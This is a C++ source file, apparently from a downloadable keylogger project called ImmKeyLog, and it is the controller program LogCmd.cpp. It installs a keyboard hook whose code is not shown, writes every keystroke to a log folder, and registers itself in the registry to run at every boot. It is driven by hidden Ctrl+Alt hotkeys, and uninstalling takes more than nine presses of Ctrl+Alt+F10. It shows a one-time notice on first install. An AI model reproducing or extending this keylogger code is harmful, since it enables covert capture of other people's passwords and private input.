www.pudn.com > ImmKeyLog_src_6_26.rar > LogCmd.cpp


#include "LogCmd.h" 
 
#define ID_LOGCMD_HOTKEY	0x1000	//base of hotkey id 
#define HOTKEY_QUIT			(ID_LOGCMD_HOTKEY + 0) 
#define HOTKEY_START		(ID_LOGCMD_HOTKEY + 1) 
#define HOTKEY_STOP			(ID_LOGCMD_HOTKEY + 2) 
#define HOTKEY_UNINSTALL	(ID_LOGCMD_HOTKEY + 3) 
 
ATOM gAtom; 
char strName[128];//save the exe file fullPathName 
char strPath[128];//save the log file path 
const char* regDisplayName = "LogCmd"; 
int keyCount = 0;//number of keyCount for uninstall 
 
__stdcall WinMain(HINSTANCE hInstance, 
    HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, 
    int nCmdShow 
) 
{ 
	init(); 
	/*If the function terminates before entering the message loop, it should return zero. */ 
	MessageLoop(); 
	return 0; 
} 
 
void install() 
{ 
	LPCTSTR info_format = "\nAttention:\n\n\ 
All the key you pressed, will be write to log file......\n\n\ 
and this program will be auto launched after reboot.\n\n\ 
The key log file will be found in:\n\n\ 
%s\n"; 
 
	char info[256]; 
	GetModuleFileName(NULL,strName,128); 
	lstrcpy(strPath, strName); 
	int len = lstrlen(strPath); 
	lstrcpy(strPath + len - 4 , "_logFile\\"); 
	CreateDirectory(strPath,NULL); 
	wsprintf(info , info_format, strPath); 
	if (RegAutoRun(regDisplayName , strName)){//write success when first running 
		MessageBox(NULL, info, "Attention", MB_OK); 
	} 
	InstallHook(); 
	SetLogPath(strPath); 
} 
 
void init() 
{ 
	LPCTSTR myAtom = "LogCmd by monklong"; 
	gAtom = GlobalFindAtom(myAtom); 
	if ( gAtom == 0) { 
		gAtom = GlobalAddAtom(myAtom); 
		//MessageBox(NULL ,"installed ok" ,"Atom Test",MB_OK); 
		install(); 
		regHotKey(true); 
		SetProcessWorkingSetSize(GetCurrentProcess(),-1,-1); 
//		Sleep(INFINITE); 
	}else{ 
		if( MessageBox(NULL ,"Detected installed flag,clear flag?","Attention:" ,MB_YESNO) == IDYES){ 
			GlobalDeleteAtom(gAtom); 
			MessageBox(NULL , "Flag cleared,try to run the program again.", "Report" ,MB_OK); 
		} 
		exit(0); 
	} 
} 
 
void regHotKey(bool bInstall) 
{ 
	if(bInstall){ 
		//register hotkey to end this program 
		RegisterHotKey( 
			NULL,//HWND hWnd, 
			HOTKEY_QUIT,//int id, 
			MOD_ALT|MOD_CONTROL,//UINT fsModifiers, 
			VK_F9//UINT vk 
		); 
		//register hotkey to start log 
		RegisterHotKey( 
			NULL,//HWND hWnd, 
			HOTKEY_START,//int id, 
			MOD_ALT|MOD_CONTROL,//UINT fsModifiers, 
			VK_F11//UINT vk 
		); 
		//register hotkey to stop log 
		RegisterHotKey( 
			NULL,//HWND hWnd, 
			HOTKEY_STOP,//int id, 
			MOD_ALT|MOD_CONTROL,//UINT fsModifiers, 
			VK_F12//UINT vk 
		); 
		RegisterHotKey( 
			NULL,//HWND hWnd, 
			HOTKEY_UNINSTALL,//int id, 
			MOD_ALT|MOD_CONTROL,//UINT fsModifiers, 
			VK_F10//UINT vk 
		); 
	}else{ 
		UnregisterHotKey(NULL,HOTKEY_QUIT); 
		UnregisterHotKey(NULL,HOTKEY_START); 
		UnregisterHotKey(NULL,HOTKEY_STOP); 
	} 
} 
 
void MessageLoop() 
{ 
	//Message Loop 
	MSG msg; 
	while (GetMessage(&msg, NULL, 0, 0))  
	{ 
		if(msg.message == WM_HOTKEY){ 
			switch (msg.wParam){ 
				case HOTKEY_QUIT: 
					//MessageBox(NULL,"QUIT","hotkey",MB_OK); 
					quit(); 
					break; 
				case HOTKEY_START: 
					//MessageBox(NULL,"START","hotkey",MB_OK); 
					InstallHook(); 
					SetProcessWorkingSetSize(GetCurrentProcess(),-1,-1); 
					break; 
				case HOTKEY_STOP: 
					//MessageBox(NULL,"STOP","hotkey",MB_OK); 
					UninstallHook(); 
					SetProcessWorkingSetSize(GetCurrentProcess(),-1,-1); 
					break; 
				case HOTKEY_UNINSTALL: 
					if( ++keyCount > 9){ 
						if( MessageBox(GetActiveWindow() ,"Uninstall?","Attention:" ,MB_YESNO) == IDYES){ 
							DelAutoRun(regDisplayName); 
							quit(); 
						} 
						keyCount = 0; 
					} 
					break; 
				default: 
					break; 
			} 
		} 
		TranslateMessage(&msg); 
		DispatchMessage(&msg); 
	} 
} 
 
void quit() 
{ 
	GlobalDeleteAtom(gAtom); 
	UninstallHook(); 
	regHotKey(false); 
	exit(0); 
}